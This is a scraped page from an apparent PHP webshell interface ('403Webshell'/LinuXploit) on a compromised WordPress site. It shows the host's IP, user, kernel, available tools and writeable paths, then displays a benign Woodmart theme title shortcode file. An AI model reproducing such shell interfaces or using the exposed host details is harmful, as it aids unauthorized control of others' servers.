403Webshell
Server IP : 195.58.49.151  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.67 (Debian) mod_fcgid/2.3.9 OpenSSL/3.0.20
System : Linux hs.hsdns.ru 6.1.0-48-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.172-1 (2026-05-15) x86_64
User : antilam ( 1007)
PHP Version : 8.4.22
Disable Function : system,passthru,popen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/antilam/web/antilam.ru/public_html/wp-content/themes/woodmart/inc/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/antilam/web/antilam.ru/public_html/wp-content/themes/woodmart/inc/shortcodes/title.php
<?php
/**
 * Shortcode for Title element.
 *
 * @package woodmart
 */

if ( ! defined( 'WOODMART_THEME_DIR' ) ) {
	exit( 'No direct script access allowed' );
}

if ( ! function_exists( 'woodmart_shortcode_title' ) ) {
	/**
	 * Title shortcode
	 *
	 * @param array $atts Shortcode attributes.
	 *
	 * @return string
	 */
	function woodmart_shortcode_title( $atts ) {
		$title_class = apply_filters( 'vc_shortcodes_css_class', '', '', $atts );

		$atts = shortcode_atts(
			array(
				'link'                               => '',
				'align'                              => 'center',
				'tag'                                => 'h4',
				'image'                              => '',
				'img_size'                           => '200x50',
				'title_width'                        => '100',

				'woodmart_css_id'                    => '',
				'css_animation'                      => 'none',
				'el_class'                           => '',
				'css'                                => '',

				// Title
				'title'                              => '',
				'color'                              => 'default',
				'title_custom_color'                 => '',
				'woodmart_color_gradient'            => '',
				'style'                              => 'default',
				'size'                               => 'default',
				'font_weight'                        => '',
				'title_font_size'                    => '',

				// Old size
				'desktop_text_size'                  => '',
				'tablet_text_size'                   => '',
				'mobile_text_size'                   => '',

				// Subtitle
				'subtitle'                           => '',
				'subtitle_font'                      => 'default',
				'subtitle_style'                     => 'default',
				'subtitle_font_weight'               => '',

				// Text
				'after_title'                        => '',

				// Extra.
				'title_decoration_style'             => 'colored',
				'title_decoration_bg_image'          => '',
				'title_decoration_bg_image_size'     => 'full',
				'title_decoration_bg_image_sizes'    => 'cover',
				'title_decoration_bg_image_position' => 'center center',
				'title_decoration_bg_image_repeat'   => 'no-repeat',
			),
			$atts
		);

		extract( $atts ); // phpcs:ignore

		if ( ! $woodmart_css_id ) {
			$woodmart_css_id = uniqid();
		}
		$title_id   = 'wd-' . $woodmart_css_id;
		$style_attr = '';

		$subtitle_class        = '';
		$title_container_class = '';
		$after_title_class     = '';

		$tag = ! in_array( $tag, array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'p', 'div', 'span' ), true ) ? 'h4' : $tag;

		$title_class .= ' wd-title-color-' . $color;
		$title_class .= ' wd-title-style-' . $style;
		$title_class .= ' text-' . $align;
		$title_class .= woodmart_get_css_animation( $css_animation );
		$title_class .= ( $el_class ) ? ' ' . $el_class : '';

		if ( function_exists( 'vc_shortcode_custom_css_class' ) ) {
			$title_class .= ' ' . vc_shortcode_custom_css_class( $css );
		}

		if ( $title_width && 'custom' !== $title_width && '100' !== $title_width ) {
			$style_attr  .= ' style="--wd-max-width: ' . $title_width . '%;"';
			$title_class .= ' wd-width-enabled';
		}

		if ( 'custom' === $title_width ) {
			$title_class .= ' wd-width-custom';
		}

		if ( ! $title ) {
			$title_class .= ' wd-title-empty';
		}

		$subtitle_class .= ' subtitle-color-' . $color;
		$subtitle_class .= ' font-' . $subtitle_font;
		$subtitle_class .= ' subtitle-style-' . $subtitle_style;
		$subtitle_class .= ' wd-font-weight-' . $subtitle_font_weight;
		$subtitle_class .= ' ' . woodmart_get_new_size_classes( 'title', $size, 'subtitle' );

		$title_container_class .= ' wd-font-weight-' . $font_weight;
		$title_container_class .= ' ' . woodmart_get_new_size_classes( 'title', $size, 'title' );

		$after_title_class .= ' ' . woodmart_get_new_size_classes( 'title', $size, 'after_title' );

		$gradient_style = ( 'gradient' === $color ) ? 'style="' . woodmart_get_gradient_css( $woodmart_color_gradient ) . ';"' : '';

		ob_start();

		woodmart_enqueue_inline_style( 'section-title' );

		if ( in_array( $style, array( 'bordered', 'simple' ), true ) ) {
			woodmart_enqueue_inline_style( 'section-title-style-simple-and-brd' );
		} elseif ( in_array( $style, array( 'overlined', 'underlined', 'underlined-2' ), true ) ) {
			woodmart_enqueue_inline_style( 'section-title-style-under-and-over' );
		}

		if ( isset( $title_decoration_style ) && 'default' !== $title_decoration_style ) {
			$title_class .= ' wd-underline-' . $title_decoration_style;
			woodmart_enqueue_inline_style( 'mod-highlighted-text' );
		}
		?>

		<div id="<?php echo esc_attr( $title_id ); ?>" class="title-wrapper wd-wpb wd-set-mb reset-last-child <?php echo esc_attr( $title_class ); ?>"<?php echo wp_kses( $style_attr, true ); ?>>
			<?php if ( '' !== $subtitle ) : ?>
				<?php woodmart_enqueue_inline_style( 'el-subtitle-style' ); ?>

				<div class="title-subtitle <?php echo esc_attr( $subtitle_class ); ?>"><?php echo wp_kses( $subtitle, woodmart_get_allowed_html() ); ?></div>
			<?php endif; ?>

			<div class="liner-continer">
				<?php echo '<' . $tag . ' class="woodmart-title-container title ' . $title_container_class . '" ' . $gradient_style . '>' . $title . '</' . $tag . '>'; // phpcs:ignore ?>

				<?php if ( $image ) : ?>
					<?php echo woodmart_display_icon( $image, $img_size, 128 ); // phpcs:ignore ?>
				<?php endif; ?>
			</div>
			
			<?php if ( '' !== $after_title ) : ?>
				<div class="title-after_title reset-last-child <?php echo esc_attr( $after_title_class ); ?>"><?php echo wp_kses( $after_title, woodmart_get_allowed_html() ); ?></div>
			<?php endif; ?>

			<?php
			$css = '';

			$highlight_image = woodmart_otf_get_image_url( $title_decoration_bg_image, $title_decoration_bg_image_size );

			if ( $highlight_image ) {
				$css .= '#' . $title_id . ' u {';
				$css .= 'background-image: url(' . $highlight_image . ');';
				$css .= 'background-size: ' . $title_decoration_bg_image_sizes . ';';
				$css .= 'background-position: ' . $title_decoration_bg_image_position . ';';
				$css .= 'background-repeat: ' . $title_decoration_bg_image_repeat . ';';
				$css .= '}';
			}

			if ( function_exists( 'woodmart_responsive_text_size_css' ) && 'custom' === $size && ! $title_font_size ) {
				if ( $desktop_text_size ) {
					$css .= woodmart_responsive_text_size_css( $title_id, 'woodmart-title-container', $desktop_text_size, 'return' );
				}

				if ( $tablet_text_size ) {
					$css .= '@media (max-width: 1199.98px) {';
					$css .= woodmart_responsive_text_size_css( $title_id, 'woodmart-title-container', $tablet_text_size, 'return' );
					$css .= '}';
				}

				if ( $mobile_text_size ) {
					$css .= '@media (max-width: 767.98px) {';
					$css .= woodmart_responsive_text_size_css( $title_id, 'woodmart-title-container', $mobile_text_size, 'return' );
					$css .= '}';
				}
			}

			if ( $css ) {
				wp_add_inline_style( 'woodmart-inline-css', $css );
			}
			?>

		</div>
		
		<?php
		$output = ob_get_contents();
		ob_end_clean();

		return $output;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit